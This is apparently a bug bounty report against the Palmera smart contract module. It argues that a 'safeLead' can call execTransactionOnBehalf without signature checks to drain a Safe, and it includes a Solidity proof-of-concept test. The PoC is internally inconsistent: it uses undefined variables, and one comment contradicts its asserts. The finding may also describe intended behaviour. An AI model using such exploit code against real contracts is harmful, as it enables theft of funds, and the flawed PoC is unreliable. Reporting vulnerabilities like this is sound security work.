Unauthorized Transaction Execution On Behalf

Github username: -- Twitter username: -- Submission hash (on-chain): 0x8297b262e69dede5366403363435ffd277e6e2a4fc8f45136ed5f183b7e66b08 Severity: high

Description: Description\ The execTransactionOnBehalf function in the PalmeraModule.sol allows an address to execute a transaction on behalf of another address if it has the necessary authority, verified by signatures. However, there is a significant issue with the implementation that allows the safeLead to bypass the signature verification checks.

Impact

This vulnerability allows the safeLead to call the execTransactionOnBehalf function with any value they want, potentially draining the targetSafe. Since the safeLead can execute transactions without the signature verification that is required for other callers, this creates a serious security risk. The safeLead can unilaterally execute transactions and transfer funds, leading to unauthorized access and possible loss of assets.

/// @notice Calls execTransaction of the safe with custom checks on owners rights
/// @param org ID's Organisation
/// @param superSafe Safe super address
/// @param targetSafe Safe target address
/// @param to Address to which the transaction is being sent
/// @param value Value (ETH) that is being sent with the transaction
/// @param data Data payload of the transaction
/// @param operation kind of operation (call or delegatecall)
/// @param signatures Packed signatures data (v, r, s)
/// @return result true if transaction was successful.
function execTransactionOnBehalf(
    bytes32 org,
    address superSafe, // can be root or super safe
    address targetSafe,
    address to,
    uint256 value,
    bytes calldata data,
    Enum.Operation operation,
    bytes memory signatures
)
    external
    payable
    nonReentrant
    SafeRegistered(superSafe)
    SafeRegistered(targetSafe)
    Denied(org, to)
    returns (bool result)
{
    address caller = _msgSender();
    // Caller is Safe Lead: bypass check of signatures
    // Caller is another kind of wallet: check if it has the corrects signatures of the root/super safe
    if (!isSafeLead(getSafeIdBySafe(org, targetSafe), caller)) {
        // Check if caller is a superSafe of the target safe (checking with isTreeMember because is the same method!!)
        if (hasNotPermissionOverTarget(superSafe, org, targetSafe)) {
            revert Errors.NotAuthorizedExecOnBehalf();
        }
        // Caller is a safe then check caller's safe signatures.
        bytes memory palmeraTxHashData = encodeTransactionData(
            /// Palmera Info
            org,
            superSafe,
            targetSafe,
            /// Transaction info
            to,
            value,
            data,
            operation,
            /// Signature info
            nonce[org]
        );
        /// Verify Collision of Nonce with multiple txs in the same range of time, study to use a nonce per org

        ISafe leadSafe = ISafe(superSafe);
        bytes memory sortedSignatures = processAndSortSignatures(
            keccak256(palmeraTxHashData), signatures, leadSafe.getOwners()
        );
        leadSafe.checkSignatures(
            keccak256(palmeraTxHashData),
            palmeraTxHashData,
            sortedSignatures
        );
    }
    /// Increase nonce and execute transaction.
    nonce[org]++;
    /// Execute transaction from target safe
    ISafe safeTarget = ISafe(targetSafe);
    result =
        safeTarget.execTransactionFromModule(to, value, data, operation);

    if (!result) revert Errors.TxOnBehalfExecutedFailed();
    emit Events.TxOnBehalfExecuted(
        org, caller, superSafe, targetSafe, result
    );
}

Attack Scenario\

Attack Scenario: Exploiting `execTransactionOnBehalf` to Drain `targetSafe`

In this attack scenario, the attacker exploits the execTransactionOnBehalf function to drain all the Ether held by the targetSafe. The attack leverages the fact that the safeLead can bypass signature verification checks, allowing unauthorized transactions to be executed.

Attacker Contract

The attacker's contract includes a receive() fallback function that only receives native currency:

receive() external payable {}

Proof of Concept

Here is the full attack scenario implemented in Solidity:

function PoC() public {
    Attacker attackerContract = new Attacker(payable(address(palmeraModule)));
    AttackerHelper attackerHelper = new AttackerHelper();
    attackerHelper.initHelper(palmeraModule, attackerContract, safeHelper, 30);

    (bytes32 orgName, address orgAddr, address attacker, address victim) = attackerHelper.setAttackerTree(orgName);

    safeHelper.updateSafeInterface(victim);
    attackerContract.setOwners(safeHelper.safeWallet().getOwners());

    safeHelper.updateSafeInterface(attacker);
    vm.startPrank(attacker);

    bytes memory emptyData;
    bytes memory signatures;
    bool result = attackerContract.performAttack(
        orgHash,
        orgAddr,
        victim,
        attacker,
        100 gwei, // Assuming 100 gwei is the total balance of targetSafe
        emptyData,
        Enum.Operation(0), // Enum.Operation.Call
        signatures
    );

    assertEq(result, true);

    // Expected results: Attack should be blocked due to nonReentrant modifier
    assertEq(attackerContract.getBalanceFromSafe(victim), 0 gwei);
    assertEq(attackerContract.getBalanceFromAttacker(), 100 gwei);
}

Attachments

Proof of Concept (PoC) File
Revised Code File

Files:

hats-finance / Palmera-0x5fee7541ddcd51ba9f4af606f87b2c42eea655be